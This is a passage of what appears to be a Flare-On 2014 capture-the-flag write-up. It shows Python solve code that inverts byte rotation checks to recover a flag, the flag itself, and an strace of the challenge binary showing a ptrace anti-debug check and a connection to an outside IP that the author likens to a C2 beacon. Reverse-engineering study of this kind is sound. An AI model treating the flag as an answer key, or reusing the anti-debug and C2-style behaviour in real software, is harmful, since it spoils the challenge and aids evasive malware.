### letter 28"""add byte ptr [rax], 0xb5sub byte ptr [rax], 0xadror byte ptr [rax], 0x89rol byte ptr [rax], 0xa2rol byte ptr [rax], 17cmp byte ptr [rax], 0xd8"""l.append( rol(ror(ror(0xd8, 17), 0xa2), 0x89) + 0xad - 0xb5 )
### letter 29"""add byte ptr [rax], 64sub byte ptr [rax], 33ror byte ptr [rax], 0xc0cmp byte ptr [rax], 0x82"""l.append( rol(0x82, 0xc0) + 33 - 64 )
### letter 30"""rol byte ptr [rax], 0xe3cmp byte ptr [rax], 123"""l.append( ror(123, 0xe3) )
### letter 31"""sub byte ptr [rax], 120ror byte ptr [rax], 0xf6cmp byte ptr [rax], 0xd7"""l.append( rol(0xd7, 0xf6) + 120 )
# modulo 256 applied to ensure values are in range(256)print ''.join([chr(i % 256) for i in l])βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]ββ$ python2 solve.pyl1nhax.hurt.u5.a1l@flare-on.com- After giving flag as arg2 it is trying to connect with the some host, maybe try to mimic like a C2 server,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]ββ$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched2 4815162342 l1nhax.hurt.u5.a1l@flare-on.com
[00007e36940de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched2", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "l1nhax.hurt.u5.a1l@flare-on.com"], 0x7fffd1dd75e8 /* 35 vars */) = 0[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0[00000000004aa78a] brk(NULL) = 0x4913000[00000000004aa78a] brk(0x49141c0) = 0x49141c0[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x4913880) = 0[00000000004aa78a] brk(0x49351c0) = 0x49351c0[00000000004aa78a] brk(0x4936000) = 0x4936000[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0[00007fff1a8fc114] socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3[00007fff1a8fc140] connect(3, {sa_family=AF_INET, sin_port=htons(39426), sin_addr=inet_addr("9.30.75.86")}, 16- Here is our flag,
l1nhax.hurt.u5.a1l@flare-on.com- Here is the flow of this program. (There might be some inaccuracy or mistake so sorry for that in advance because i am a leaner like you. π )

Flare-On 2014 Jan 2026
https://fuwari.vercel.app/posts/flare-on-2014/notes/